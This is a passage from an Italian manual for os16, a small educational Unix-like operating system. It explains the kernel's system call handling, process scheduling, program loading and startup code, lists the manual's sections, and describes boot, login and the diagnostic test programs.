    pid_t  pid      = proc_find (*segment_d);
    addr_t msg_addr = address (*segment_d, msg_off);
```

Quindi viene dichiarata un'unione di variabili strutturate, corrispondente alla sovrapposizione di tutti i tipi di messaggio gestibili:

```
    union {
        sysmsg_chdir_t     chdir;
        sysmsg_chmod_t     chmod;
        …
    } msg;
```

A questo punto si verifica se il processo interrotto dalla sua chiamata di sistema è il kernel, perché al kernel è consentito di eseguire solo alcuni tipi di chiamata e tutto il resto sarebbe un errore.

Proseguendo con il codice si vede l'uso della funzione ***dev_io()***, con la quale si legge il messaggio della chiamata di sistema, dalla sua collocazione originale, in un'area tampone del segmento dati del kernel:

```
    dev_io (pid, DEV_MEM, DEV_READ, msg_addr, &msg, msg_size, NULL);
```

A questo punto, sapendo di quale chiamata di sistema si tratta, il messaggio può essere letto come:

```
msg.tipo_chiamata
```

Per esempio, per la chiamata di sistema '**`SYS_CHDIR`**', si deve fare riferimento al messaggio ***msg.chdir***; pertanto, per raggiungere il membro ***ret*** del messaggio si usa la notazione ***msg.chdir.ret***.

Una volta eseguita una copia del messaggio, con la funzione ***dev_io()***, si passa a una struttura di selezione, con cui si eseguono operazioni differenti in base al tipo di chiamata ricevuta:

```
    switch (syscallnr)
      {
        case SYS_0:
            break;
        case SYS_CHDIR:
            msg.chdir.ret         = path_chdir (pid, msg.chdir.path);
            sysroutine_error_back (&msg.chdir.errno, &msg.chdir.errln,
                                   msg.chdir.errfn);
            break;
        …
      }
```

Il messaggio usato per trasmettere i dati della chiamata, può servire anche per restituire dei dati al mittente, pertanto, spesso alcuni contenuti dello stesso vengono modificati. Ciò succede particolarmente con il membro ***ret*** che generalmente rappresenta il valore restituito dalla

chiamata di sistema. Per questa ragione, dopo la struttura di selezione si ricopia nuovamente il messaggio nella posizione di partenza:

```
    dev_io (pid, DEV_MEM, DEV_WRITE, msg_addr, &msg, msg_size, NULL);
```

Al termine del lavoro, viene chiamata la funzione ***proc_scheduler()***.

95.8.4.3 Funzione «proc_scheduler()»

La funzione ***proc_scheduler()*** richiede come parametri due puntatori: il primo parametro deve essere il riferimento a un valore che rappresenta l'indice della pila di quel processo; il secondo parametro si riferisce a una variabile contenente il valore del segmento dati del processo interrotto. La funzione richiede queste informazioni in forma di puntatore, per poter modificare i valori delle variabili relative, in modo da consentire così l'attivazione successiva di un altro processo, al posto di quello da cui si proviene.

```
void proc_scheduler (uint16_t *sp, segment_t *segment_d);
```

Inizialmente, la funzione acquisisce il numero del processo interrotto:

```
    prev = proc_find (*segment_d);
```

Quindi svolge delle operazioni che riguardano tutti i processi: aggiorna i contatori dei processi che attendono lo scadere di un certo tempo; verifica la presenza di segnali e predispone le azioni relative; raccoglie l'input dai terminali.

```
    proc_sch_timers ();
    …
    proc_sch_signals ();
    …
    proc_sch_terminals ();
```

A quel punto aggiorna il tempo di utilizzo della CPU del processo appena interrotto:

```
    current_clock   = k_clock ();
    ps[prev].usage += current_clock - previous_clock;
    previous_clock  = current_clock;
```

Quindi inizia la ricerca di un altro processo, candidato a essere ripreso, al posto di quello interrotto. La ricerca inizia dal processo successivo a quello interrotto, senza considerare alcun criterio di precedenza. Il ciclo termina se la ricerca incontra di nuovo il processo di partenza.

```
    for (next = prev+1; next != prev; next++)
      {
        if (next >= PROCESS_MAX)
          {
            next = -1; // At the next loop, 'next' will be zero.
            continue;
          }
        …
      }
```

All'interno di questo ciclo di ricerca, se si incontra un processo pronto per essere messo in funzione, lo si scambia con quello interrotto: in pratica si salva il valore attuale dell'indice della pila, si scambiano gli stati e si aggiornano i valori di ***sp** e ***segment_d**, in modo da ottenere effettivamente lo scambio all'uscita dalla funzione:

```
        else if (ps[next].status == PROC_READY)
          {
            if (ps[prev].status == PROC_RUNNING)
              {
                ps[prev].status = PROC_READY;
              }
            ps[prev].sp     = *sp;
            ps[next].status = PROC_RUNNING;
            ps[next].ret    = 0;
            *segment_d      = ps[next].segment_d;
            *sp             = ps[next].sp;
            break;
          }
```

Alla fine del ciclo, occorre verificare se esiste effettivamente un processo successivo attivato, perché in caso contrario, si lascia il controllo direttamente al kernel. In fine, si salva il valore accumulato in precedenza dell'indice della pila del kernel, nella variabile ***_ksp***, quindi si manda il messaggio EOI al circuito del PIC (*programmable interrupt controller*), diversamente non ci sarebbero più, altre interruzioni.

95.9 Caricamento ed esecuzione delle applicazioni

Caricare un programma e metterlo in esecuzione è un processo delicato che parte dalla funzione ***execve()*** della libreria standard e viene svolto dalla funzione ***proc_sys_exec()*** del kernel.

Figura 95.91. Da ***execve()*** a ***proc_sys_exec()***.

<unistd.h> execve() → <sys/os16.h> sys() → (interruzione software) → <kernel/proc.h> sysroutine() → <kernel/proc.h> proc_sys_exec()

95.9.1 Caricamento in memoria

La funzione ***proc_sys_exec()*** (listato 105.9.21) del kernel è quella che svolge il compito di caricare un processo in memoria e di annotarlo nella tabella dei processi.

La funzione, dopo aver verificato che si tratti di un file eseguibile valido e che ci siano i permessi per metterlo in funzione, procede all'allocazione della memoria, dividendo se necessario l'area codice da quella dei dati, quindi legge il file e copia opportunamente le componenti di questo nelle aree di memoria allocate.

> La realizzazione attuale della funzione ***proc_sys_exec()*** non è in grado di verificare se un processo uguale sia già in memoria, quindi carica la parte del codice anche se questa potrebbe essere già disponibile.

Terminato il caricamento del file, viene ricostruita in memoria la pila dei dati del processo. Prima si mettono sul fondo le stringhe delle variabili di ambiente e quelle degli argomenti della chiamata, quindi si aggiungono i puntatori alle stringhe delle variabili di ambiente, ricostruendo così l'array noto convenzionalmente come '**`envp[]`**', continuando con l'aggiunta dei puntatori alle stringhe degli argomenti della chiamata, per riprodurre l'array '**`argv[]`**'. Per ricostruire gli argomenti della chiamata della funzione ***main()*** dell'applicazione, vanno però aggiunti ancora: il puntatore all'inizio dell'array delle stringhe che descrivono le variabili di ambiente, il puntatore all'array delle stringhe che descrivono gli argomenti della chiamata e il valore che rappresenta la quantità di argomenti della chiamata.

Figura 95.92. Caricamento degli argomenti della chiamata della funzione ***main()***.

argc argv envp

$FFB0_{16}$	2		$FFD6_{16}$		$FFBC_{16}$		$FFC2_{16}$		$FFC5_{16}$		NULL		$FFC8_{16}$		$FFDD_{16}$		$FFBF_{16}$
$FFC0_{16}$	NULL		l	s	\0	–	l	\0	C	O	N	S	O	L	E	=	$FFCF_{16}$
$FFD0_{16}$	/	d	e	v	/	c	o	n	s	o	l	e	\0	P	A	T	$FFDF_{16}$
$FFE0_{16}$	H	=	/	b	i	n	:	/	u	s	r	/	b	i	n	:	$FFEF_{16}$
$FFF0_{16}$	/	s	b	i	n	:	/	u	s	r	/	s	b	i	n	\0	$FFFF_{16}$

Fatto ciò, vanno aggiunti tutti i valori necessari allo scambio dei processi, costituiti dai vari registri da rimpiazzare.

Figura 95.93. Completamento della pila con i valori dei registri.

FF90$_{16}$									AX		CX		DX		BX		FF9F$_{16}$
FFA0$_{16}$	BP		SI		DI		DS		ES		IP		CS		FLAGS		FFAF$_{16}$
FFB0$_{16}$	2		FFD6$_{16}$		FFBC$_{16}$		FFC2$_{16}$		FFC5$_{16}$		NULL		FFC8$_{16}$		FFDD$_{16}$		FFBF$_{16}$
FFC0$_{16}$	NULL		l	s	\0	–	l	\0	C	O	N	S	O	L	E	=	FFCF$_{16}$
FFD0$_{16}$	/	d	e	v	/	c	o	n	s	o	l	e	\0	P	A	T	FFDF$_{16}$
FFE0$_{16}$	H	=	/	b	i	n	:	/	u	s	r	/	b	i	n	:	FFEF$_{16}$
FFF0$_{16}$	/	s	b	i	n	:	/	u	s	r	/	s	b	i	n	\0	FFFF$_{16}$

Superato il problema della ricostruzione della pila dei dati, la funzione ***proc_sys_exec()*** predispone i descrittori di standard input, standard output e standard error, quindi libera la memoria usata dal processo chiamante e ne rimpiazza i dati nella tabella dei processi con quelli del nuovo processo caricato.

95.9.2 Il codice iniziale dell'applicativo

I programmi iniziano con il codice che si trova nel file '`applic/crt0.s`'. Questo file ha delle affinità con il file '`kernel/main/crt0.s`' del kernel, dove la prima differenza che si incontra riguarda l'impronta di riconoscimento. A parte questo, va considerato che il codice delle applicazioni viene eseguito in un momento in cui i registri di segmento sono già stati impostati e l'indice della pila è già collocato correttamente; inoltre, se la funzione ***main()*** termina e restituisce il controllo a '`crt0.s`', un ciclo senza fine esegue continuamente una chiamata di sistema per la conclusione del processo elaborativo corrispondente.

Figura 95.94. Codice iniziale degli applicativi e variabile strutturata di tipo '**header_t**'.

```
entry startup
.text
startup:
    jmp startup_code
filler:
    .space (0x0004 - (filler - startup))
magic:
    .data4 0x6F733136
    .data4 0x6170706C
segoff:
    .data2 __segoff
etext:
    .data2 __etext
edata:
    .data2 __edata
ebss:
    .data2 __end
stack_size:
    .data2 0x2000
.align 2
startup_code:
…
```

```
typedef struct {
    uint32_t filler0;
    uint32_t magic0;
    uint32_t magic1;
    uint16_t segoff;
    uint16_t etext;
    uint16_t edata;
    uint16_t ebss;
    uint16_t ssize;
} header_t;
```

La figura mostra il confronto tra il codice iniziale contenuto nel file 'applic/crt0.s', senza preamboli e senza commenti, con la dichiarazione del tipo derivato '**header_t**', presente nel file 'kernel/proc.h'. Attraverso questa struttura, la funzione ***proc_sys_exec()*** è in grado di estrapolare dal file le informazioni necessarie a caricarlo correttamente in memoria.

Come già accennato, quando viene eseguito il codice di un programma applicativo, la pila dei dati è già operativa. Pertanto, dopo il simbolo '**startup_code**' si può già lavorare con questa.

```
startup_code:
    pop ax              ; argc
    pop bx              ; argv
    pop cx              ; envp
    mov _environ, cx    ; Variable 'environ' comes from 'unistd.h'.
    push cx
    push bx
    push ax
```

Per prima cosa, viene estratto dalla pila il puntatore all'array noto come ***envp[]***, per poter assegnare tale valore alla variabile ***environ***, come richiede lo standard della libreria POSIX. Tuttavia, per poter gestire poi le variabili di ambiente, si rende necessario utilizzare un array più «comodo», quando le stringhe vanno sostituite. A tale proposito, nel file 'lib/stdlib/environment.c', si dichiarano ***_environment_table[][]*** e ***_environment[]***. Il primo è semplicemente un array di caratteri, dove, utilizzando due indici di accesso, si conviene di allocare delle stringhe, con una dimensione massima prestabilita. Il secondo, invece, è un array

di puntatori, per localizzare l'inizio delle stringhe contenute nel primo. In pratica, alla fine ***_environment[]*** e ***environ[]*** devono essere equivalenti. Ma per attuare questo, occorre utilizzare la funzione ***_environment_setup()*** che sistema tutti i puntatori necessari.

```
    push cx
    call __environment_setup
    add  sp, #2
    ;
    mov  ax, #__environment
    mov  _environ, ax
    ;
    pop ax              ; argc
    pop bx              ; argv[][]
    pop cx              ; envp[][]
    mov cx, #__environment
    push cx
    push bx
    push ax
```

Come si vede dall'estratto del file '`applic/crt0.s`', si vede l'uso della funzione ***_environment_setup()*** (il registro CX contiene già il puntatore a ***envp[]***, e viene inserito nella pila proprio come argomento per la funzione). Successivamente viene riassegnata anche la variabile ***environ*** in modo da coincidere con ***_environment***. Alla fine, viene ricostruita la pila per gli argomenti della chiamata della funzione ***main()***, ma prima di procedere con quella chiamata, si utilizzano due funzioni, per inizializzare la gestione dei flussi di file e delle directory, sempre in forma di flussi.

```
    call __stdio_stream_setup
    call __dirent_directory_stream_setup
    ;
    call _main
    ;
    mov  exit_value, ax
    …
.align 2
.data
exit_value:
    .data2 0x0000
.align 2
.bss
```

La funzione ***_stdio_stream_setup()***, contenuta nel file '`lib/stdio/FILE.c`', associa i descrittori standard ai flussi di file standard (standard input, standard output e standard error); la funzione ***_dirent_directory_stream_setup()*** compie un lavoro analogo, limitandosi però a inizializzare un array di flussi di directory.

Dopo queste preparazioni, viene chiamata la funzione ***main()***, la quale riceve regolarmente i propri argomenti previsti. Il valore restituito dalla funzione viene poi salvato in corrispondenza del simbolo '**`exit_value`**'.

```
halt:
    push #2              ; Size of message.
    push #exit_value     ; Pointer to the message.
    push #6              ; SYS_EXIT
    call _sys
    add  sp, #2
    add  sp, #2
    add  sp, #2
    jmp halt
```

All'uscita dalla funzione ***main()***, dopo aver salvato quanto restituito dalla funzione stessa, ci si introduce nel codice successivo al simbolo '**`halt`**', nel quale si chiama la funzione ***sys()*** (chiamata di sistema), per produrre la chiusura formale del processo. Ciò che si vede è comunque l'equivalente di '**`_exit (`*exit_status*`);`**'.[1]

[1] Va tenuto in considerazione che '**`exit_status`**' è un simbolo non raggiungibile dal codice C, perché dovrebbe essere esportato con un nome che inizi con il trattino basso.

Parte vi

Manuale

96 Avvio del sistema e conclusione 5707

96.1 Interazione con il kernel 5707
96.2 Avvio e conclusione del sistema «normale» 5709

97 Sezione 1: programmi eseguibili o comandi interni di shell 5711

97.1 os16: aaa(1) 5711
97.2 os16: bbb(1) 5712
97.3 os16: cat(1) 5712
97.4 os16: ccc(1) 5712
97.5 os16: chmod(1) 5712
97.6 os16: chown(1) 5713
97.7 os16: cp(1) 5713
97.8 os16: date(1) 5714
97.9 os16: ed(1) 5715
97.10 os16: kill(1) 5715
97.11 os16: ln(1) 5717
97.12 os16: login(1) 5717
97.13 os16: ls(1) 5718
97.14 os16: man(1) 5719
97.15 os16: mkdir(1) 5720
97.16 os16: more(1) 5720
97.17 os16: ps(1) 5721
97.18 os16: rm(1) 5722
97.19 os16: shell(1) 5722
97.20 os16: touch(1) 5723
97.21 os16: tty(1) 5724

98 Sezione 2: chiamate di sistema 5725

98.1 os16: _Exit(2) 5725
98.2 os16: _exit(2) 5725
98.3 os16: chdir(2) 5725
98.4 os16: chmod(2) 5727
98.5 os16: chown(2) 5728
98.6 os16: clock(2) 5729
98.7 os16: close(2) 5730

98.8 os16: dup(2) 5731
98.9 os16: dup2(2) 5731
98.10 os16: execve(2) 5732
98.11 os16: fchmod(2) 5733
98.12 os16: fchown(2) 5733
98.13 os16: fcntl(2) 5733
98.14 os16: fork(2) 5735
98.15 os16: fstat(2) 5736
98.16 os16: getcwd(2) 5736
98.17 os16: geteuid(2) 5737
98.18 os16: getuid(2) 5737
98.19 os16: getpgrp(2) 5738
98.20 os16: getpid(2) 5738
98.21 os16: getppid(2) 5739
98.22 os16: kill(2) 5739
98.23 os16: link(2) 5740
98.24 os16: lseek(2) 5741
98.25 os16: mkdir(2) 5742
98.26 os16: mknod(2) 5744
98.27 os16: mount(2) 5745
98.28 os16: open(2) 5746
98.29 os16: read(2) 5749
98.30 os16: rmdir(2) 5750
98.31 os16: seteuid(2) 5751
98.32 os16: setpgrp(2) 5751
98.33 os16: setuid(2) 5751
98.34 os16: signal(2) 5752
98.35 os16: sleep(2) 5754
98.36 os16: stat(2) 5755
98.37 os16: sys(2) 5758
98.38 os16: stime(2) 5759
98.39 os16: time(2) 5759
98.40 os16: umask(2) 5760
98.41 os16: umount(2) 5761
98.42 os16: unlink(2) 5761
98.43 os16: wait(2) 5761
98.44 os16: write(2) 5763
98.45 os16: z(2) 5764
98.46 os16: z_perror(2) 5764

98.47 os16: z_printf(2) 5765
98.48 os16: z_putchar(2) 5765
98.49 os16: z_puts(2) 5765
98.50 os16: z_vprintf(2) 5765

99 Sezione 3: funzioni di libreria 5767

99.1 os16: access(3) 5767
99.2 os16: abort(3) 5767
99.3 os16: abs(3) 5768
99.4 os16: atexit(3) 5769
99.5 os16: atoi(3) 5770
99.6 os16: atol(3) 5771
99.7 os16: basename(3) 5771
99.8 os16: bp(3) 5771
99.9 os16: clearerr(3) 5772
99.10 os16: closedir(3) 5772
99.11 os16: creat(3) 5773
99.12 os16: cs(3) 5773
99.13 os16: ctime(3) 5774
99.14 os16: dirname(3) 5776
99.15 os16: div(3) 5776
99.16 os16: ds(3) 5777
99.17 os16: endpwent(3) 5777
99.18 os16: errno(3) 5777
99.19 os16: es(3) 5783
99.20 os16: exec(3) 5783
99.21 os16: execl(3) 5784
99.22 os16: execle(3) 5785
99.23 os16: execlp(3) 5785
99.24 os16: execv(3) 5785
99.25 os16: execvp(3) 5785
99.26 os16: exit(3) 5785
99.27 os16: fclose(3) 5785
99.28 os16: feof(3) 5786
99.29 os16: ferror(3) 5786
99.30 os16: fflush(3) 5787
99.31 os16: fgetc(3) 5788
99.32 os16: fgetpos(3) 5789
99.33 os16: fgets(3) 5790
99.34 os16: fileno(3) 5791

99.35 os16: fopen(3) 5791
99.36 os16: fprintf(3) 5793
99.37 os16: fputc(3) 5793
99.38 os16: fputs(3) 5794
99.39 os16: fread(3) 5795
99.40 os16: free(3) 5796
99.41 os16: freopen(3) 5796
99.42 os16: fscanf(3) 5796
99.43 os16: fseek(3) 5796
99.44 os16: fseeko(3) 5797
99.45 os16: fsetpos(3) 5797
99.46 os16: ftell(3) 5797
99.47 os16: ftello(3) 5798
99.48 os16: fwrite(3) 5798
99.49 os16: getc(3) 5798
99.50 os16: getchar(3) 5799
99.51 os16: getenv(3) 5799
99.52 os16: getopt(3) 5800
99.53 os16: getpwent(3) 5803
99.54 os16: getpwnam(3) 5805
99.55 os16: getpwuid(3) 5806
99.56 os16: gets(3) 5806
99.57 os16: heap(3) 5806
99.58 os16: heap_clear(3) 5807
99.59 os16: heap_min(3) 5807
99.60 os16: input_line(3) 5807
99.61 os16: isatty(3) 5808
99.62 os16: labs(3) 5809
99.63 os16: ldiv(3) 5809
99.64 os16: major(3) 5809
99.65 os16: makedev(3) 5809
99.66 os16: malloc(3) 5810
99.67 os16: memccpy(3) 5811
99.68 os16: memchr(3) 5812
99.69 os16: memcmp(3) 5812
99.70 os16: memcpy(3) 5813
99.71 os16: memmove(3) 5814
99.72 os16: memset(3) 5814
99.73 os16: minor(3) 5814

99.74 os16: namep(3) 5815
99.75 os16: offsetof(3) 5815
99.76 os16: opendir(3) 5816
99.77 os16: perror(3) 5817
99.78 os16: printf(3) 5818
99.79 os16: process_info(3) 5821
99.80 os16: putc(3) 5822
99.81 os16: putchar(3) 5822
99.82 os16: putenv(3) 5822
99.83 os16: puts(3) 5823
99.84 os16: qsort(3) 5823
99.85 os16: rand(3) 5824
99.86 os16: readdir(3) 5825
99.87 os16: realloc(3) 5826
99.88 os16: rewind(3) 5826
99.89 os16: rewinddir(3) 5826
99.90 os16: scanf(3) 5827
99.91 os16: seg_d(3) 5832
99.92 os16: seg_i(3) 5832
99.93 os16: setbuf(3) 5832
99.94 os16: setenv(3) 5833
99.95 os16: setpwent(3) 5834
99.96 os16: setvbuf(3) 5834
99.97 os16: snprintf(3) 5834
99.98 os16: sp(3) 5834
99.99 os16: sprintf(3) 5834
99.100 os16: srand(3) 5835
99.101 os16: ss(3) 5835
99.102 os16: sscanf(3) 5835
99.103 os16: stdio(3) 5835
99.104 os16: strcat(3) 5836
99.105 os16: strchr(3) 5837
99.106 os16: strcmp(3) 5838
99.107 os16: strcoll(3) 5838
99.108 os16: strcpy(3) 5839
99.109 os16: strcspn(3) 5839
99.110 os16: strdup(3) 5839
99.111 os16: strerror(3) 5840
99.112 os16: strlen(3) 5840

99.113 os16: strncat(3) 5841
99.114 os16: strncmp(3) 5841
99.115 os16: strncpy(3) 5841
99.116 os16: strpbrk(3) 5842
99.117 os16: strrchr(3) 5842
99.118 os16: strspn(3) 5842
99.119 os16: strstr(3) 5843
99.120 os16: strtok(3) 5843
99.121 os16: strtol(3) 5845
99.122 os16: strtoul(3) 5847
99.123 os16: strxfrm(3) 5847
99.124 os16: ttyname(3) 5848
99.125 os16: unsetenv(3) 5848
99.126 os16: vfprintf(3) 5849
99.127 os16: vfscanf(3) 5849
99.128 os16: vprintf(3) 5849
99.129 os16: vscanf(3) 5850
99.130 os16: vsnprintf(3) 5852
99.131 os16: vsprintf(3) 5852
99.132 os16: vsscanf(3) 5852

100 Sezione 4: file speciali 5853

100.1 os16: console(4) 5853
100.2 os16: dsk(4) 5853
100.3 os16: kmem_file(4) 5854
100.4 os16: kmem_inode(4) 5854
100.5 os16: kmem_mmp(4) 5855
100.6 os16: kmem_ps(4) 5855
100.7 os16: kmem_sb(4) 5855
100.8 os16: mem(4) 5856
100.9 os16: null(4) 5857
100.10 os16: port(4) 5857
100.11 os16: tty(4) 5858
100.12 os16: zero(4) 5858

101 Sezione 5: formato dei file e convenzioni 5859

101.1 os16: inittab(5) 5859
101.2 os16: issue(5) 5859
101.3 os16: passwd(5) 5859

102 Sezione 7: varie 5861

102.1 os16: environ(7) 5861
102.2 os16: undocumented(7) 5862

103 Sezione 8: comandi per l’amministrazione del sistema 5863

103.1 os16: getty(8) 5863
103.2 os16: init(8) 5863
103.3 os16: MAKEDEV(8) 5864
103.4 os16: mount(8) 5865
103.5 os16: umount(8) 5866

104 Sezione 9: kernel 5867

104.1 os16: devices(9) 5867
104.2 os16: diag(9) 5872
104.3 os16: fs(9) 5873
104.4 os16: ibm_i86(9) 5932
104.5 os16: k_libc(9) 5936
104.6 os16: main(9) 5936
104.7 os16: memory(9) 5936
104.8 os16: proc(9) 5938
104.9 os16: tty(9) 5968

Avvio del sistema e conclusione

os16 ha due modalità di funzionamento: si può interagire direttamente con il kernel, oppure si può avviare il processo '**init**' e procedere con l'organizzazione consueta di un sistema Unix tradizionale. La modalità di colloquio diretto con il kernel è servita per consentire lo sviluppo di os16 e potrebbe essere utile per motivi di studio. Va osservato che durante l'interazione diretta con il kernel si dispone di una sola console, mentre quando si avvia '**init**' si possono avere delle console virtuali in base alla configurazione.

96.1 Interazione con il kernel

L'avvio di os16 passa, in ogni caso, per una prima fase di colloquio con il kernel. Si ottiene un menù e si possono premere semplicemente dei tasti, secondo l'elenco previsto, per ottenere delle azioni molto semplici. In questa fase il disco da cui risulta avviato il kernel è già innestato ed è prevista la possibilità di avviare tre programmi: '`/bin/aaa`', '`/bin/bbb`' e '`/bin/ccc`'. In tal modo, si ha la possibilità di avviare qualcosa, a titolo diagnostico, prima dello stesso '**init**' ('`/bin/init`'.

Figura 96.1. Aspetto di os16 in funzione, con il menù in evidenza.

```
os16 build 20AA.MM.GG HH:MM:SS ram 639 Kibyte
.-------------------------------------------------------------------.
| [h]       show this menu                                          |
| [p]       process status and memory map                           |
| [1]..[9] kill process  1 to 9                                     |
| [A]..[F] kill process 10 to 15                                    |
| [l]       send SIGCHLD to process 1                               |
| [a]..[c] run programs '/bin/aaa' to '/bin/ccc' in parallel        |
| [f]       system file status                                      |
| [n], [N] list of active inodes                                    |
| [z]       print root file system zone map (read left to right)    |
| [m], [M] mount/umount '/dev/dsk1' at '/usr/'                      |
| [x]       exit interaction with kernel and start '/bin/init'      |
| [q]       quit kernel                                             |
'-------------------------------------------------------------------'
```

Le funzioni principali disponibili in questa modalità diagnostica sono riassunte nella tabella successiva:

Tasto	Risultato
[*h*]	Mostra il menù di funzioni disponibili.
[*1*]	Invia il segnale '**SIGKILL**' al processo numero uno.
[*2*]...[*9*]	Invia il segnale '**SIGTERM**' al processo con il numero corrispondente.
[*A*]...[*F*]	Invia il segnale '**SIGTERM**' al processo con il numero da 10 a 15.
[*a*], [*b*], [*c*]	Avvia il programma '`/bin/aaa`', '`/bin/bbb`' o '`/bin/ccc`'.
[*f*]	Mostra l'elenco dei file aperti nel sistema.
[*m*], [*M*]	Innesta o stacca il secondo dischetto dalla directory '`/usr/`'.
[*n*], [*N*]	Mostra l'elenco degli inode aperti: l'elenco è composto da due parti.
[*l*]	Invia il segnale '**SIGCHLD**' al processo numero uno.
[*p*]	Mostra la situazione dei processi e altre informazioni.
[*x*]	Termina il ciclo e successivamente si passa all'avvio di '`/bin/init`'.
[*q*]	Ferma il sistema.

Figura 96.3. Aspetto di os16 in funzione mentre visualizza anche la tabella dei processi avviati (tasto [*p*]).

```
ababaaababaaababaabbaaababaaababap
pp  p pg
id id rp  tty  uid euid suid usage s iaddr isiz daddr dsiz sp   name
 0  0  0 0000    0    0    0 00.35 R 10500 eb7c 00500 0000 ffc8 os16 kernel
 0  1  0 0000    0    0    0 00.33 r 2f100 0600 2f700 aa00 a8e8 /bin/ccc
 0  2  0 0000    0    0    0 00.01 r 1f100 0600 84300 aa00 a8e8 /bin/ccc
 2  3  0 0000   10   10   10 00.01 r 1f100 0600 44b00 aa00 a8e8 /bin/ccc
 0  4  0 0000    0    0    0 00.17 r 21600 0600 3a100 aa00 a8e8 /bin/ccc
 4  5  0 0000   10   10   10 00.02 r 21c00 2400 6f100 a900 a86c /bin/aaa
 4  6  0 0000   11   11   11 00.02 s 24000 2500 59d00 a900 a8b6 /bin/bbb
 0  7  0 0000    0    0    0 00.13 r 26500 0600 64600 aa00 a8e8 /bin/ccc
 7  8  0 0000   10   10   10 00.02 r 26b00 2400 8ee00 a900 981e /bin/aaa
 7  9  0 0000   11   11   11 00.02 s 2bf00 2500 79a00 a900 a8b6 /bin/bbb
CS=1050 DS=0050 SS=0050 ES=0050 BP=ffe4 SP=ffe4 heap_min=878c etext=eb7c edata=1
b3c ebss=4c34 ksp=ffc8 clock=0000084b, time elapsed=00:01:57
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
fffffffffffffffffffffffffffffffffffffffffffffe00000003ffffffffffffffffffffffffff
fffe000000000001fffffffff0007fffffffffffffffffffffffffffffffffffffffffffffffffff
fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff800
000000000000000000000000000000000000007fffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffff7fffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
fffffffffffbfffffffffffffffffffffffffffffffffffffffffe0000000000000000000000000f

abbaaaaababaaababaaabbaabbaababababbaabbbbbbbbbbbbb
```

Premendo [*x*], il ciclo termina e il kernel avvia '`/bin/init`', ma prima di farlo occorre che non ci siano altri processi in funzione, perché '**`init`**' deve assumere il ruolo di processo 1, ovvero il primo dopo il kernel.

Figura 96.4. Aspetto di os16 in funzione con il menù in evidenza, dopo aver premuto il tasto [*x*] per avviare '**`init`**'.

```
os16 build 20AA.MM.GG HH:MM:SS ram 639 Kibyte
.------------------------------------------------------------------.
| [h]       show this menu                                         |
| [p]       process status and memory map                          |
| [1]..[9]  kill process  1 to 9                                   |
| [A]..[F]  kill process 10 to 15                                  |
| [l]       send SIGCHLD to process 1                              |
| [a]..[c]  run programs '/bin/aaa' to '/bin/ccc' in parallel      |
| [f]       system file status                                     |
| [n], [N]  list of active inodes                                  |
| [z]       print root file system zone map (read left to right)   |
| [m], [M]  mount/umount '/dev/dsk1' at '/usr/'                    |
| [x]       exit interaction with kernel and start '/bin/init'     |
| [q]       quit kernel                                            |
'------------------------------------------------------------------'
init
os16: a basic os. [Ctrl q], [Ctrl r], [Ctrl s], [Ctrl t] to change console.
This is terminal /dev/console0
Log in as "root" or "user" with password "ciao" :-)
login:
```

96.2 Avvio e conclusione del sistema «normale»

Se non si intende operare direttamente con il kernel, come descritto nella sezione precedente, con la pressione del tasto [*x*] si avvia '**init**'.

Il programma '**init**' legge il file '/etc/inittab' e sulla base del suo contenuto, avvia uno o più processi '**getty**', per la gestione dei vari terminali disponibili (si tratta comunque soltanto di console virtuali).

Il programma '**getty**' apre il terminale che gli viene indicato come opzione della chiamata (da '**init**' che lo determina in base al contenuto di '/etc/inittab'), facendo in modo che sia associato al descrittore zero (standard input). Quindi, dopo aver visualizzato il contenuto del file '/etc/issue', mostra un proprio messaggio e avvia il programma '**login**'.

Il programma '**login**' prende il posto di '**getty**' che così scompare dall'elenco dei processi. '**login**' procede chiedendo all'utente di identificarsi, utilizzando il file '/etc/passwd' per verificare le credenziali di accesso. Se l'identificazione ha successo, viene avviata la shell definita nel file '/etc/passwd' per l'utente, in modo da sostituirsi al programma '**login**', il quale scompare a sua volta dall'elenco dei processi.

Attraverso la shell è possibile interagire con il sistema operativo, secondo la modalità «normale», nei limiti delle possibilità di os16. Quando la shell termina di funzionare, '**init**' riavvia '**getty**'.

Per cambiare console virtuale si possono usare le combinazioni [*Ctrl q*], [*Ctrl r*], [*Ctrl s*] e [*Ctrl t*], ma bisogna considerare che dipende dalla configurazione del file '/etc/inittab' se effettivamente vengono attivate tutte queste console.

Per concludere l'attività del sistema, basta concludere il funzionamento delle varie sessioni di lavoro (la shell finisce di funzionare con il comando interno '**exit**') e non c'è bisogno di altro; pertanto, non è previsto l'uso di comandi come '**halt**' o '**shutdown**' e, d'altro canto, le operazioni di scrittura nel file system sono sincrone, in modo tale da non richiedere accorgimenti particolari per la chiusura delle attività.

Riquadro 96.5. Coerenza del file system.

os16 è destinato a essere usato attraverso un emulatore, dove gli unici due dischi previsti (dischetti da 1440 Kibyte) sono semplicemente dei file. Pertanto, la manutenzione del file system, avviene all'esterno di os16, di norma con un sistema GNU/Linux. Tuttavia, occorre tenere presente che quando si usa il sistema os16, tramite l'emulatore, i file-immagine dei dischi di os16 non devono essere innestati nel sistema operativo ospitante, perché altrimenti le operazioni di scrittura eseguite da os16 potrebbero essere annullate, anche solo parzialmente, dalla gestione del sistema ospitante, rendendo il file system incoerente.

Capitolo 97

Sezione 1: programmi eseguibili o comandi interni di shell

97.1 os16: aaa(1)

NOME

'`aaa`', '`bbb`', '`ccc`' - programmi elementari avviabili direttamente dal kernel

SINTASSI

```
aaa
```

```
bbb
```

```
ccc
```

DESCRIZIONE

'`aaa`' e '`bbb`' si limitano a visualizzare una lettera, rispettivamente «a» e «b», attraverso lo standard output, a intervalli regolari. Precisamente, '`aaa`' lo fa a intervalli di un secondo, mentre '`bbb`' a intervalli di due secondi. Il lavoro di '`aaa`' e di '`bbb`' si conclude dopo l'emissione, rispettivamente, di 60 e 30 caratteri, pertanto nel giro di un minuto di tempo si esaurisce il loro compito.

Il programma '`ccc`' è diverso, ma nasce per lo stesso scopo: controllare la gestione dei processi di os16. Questo programma si limita ad avviare, '`aaa`' e '`bbb`', come propri processi-figli, rimanendo in funzione, senza fare nulla. Pertanto, se si usa '`ccc`', il suo processo deve essere eliminato in modo esplicito, perché da solo non si concluderebbe mai.

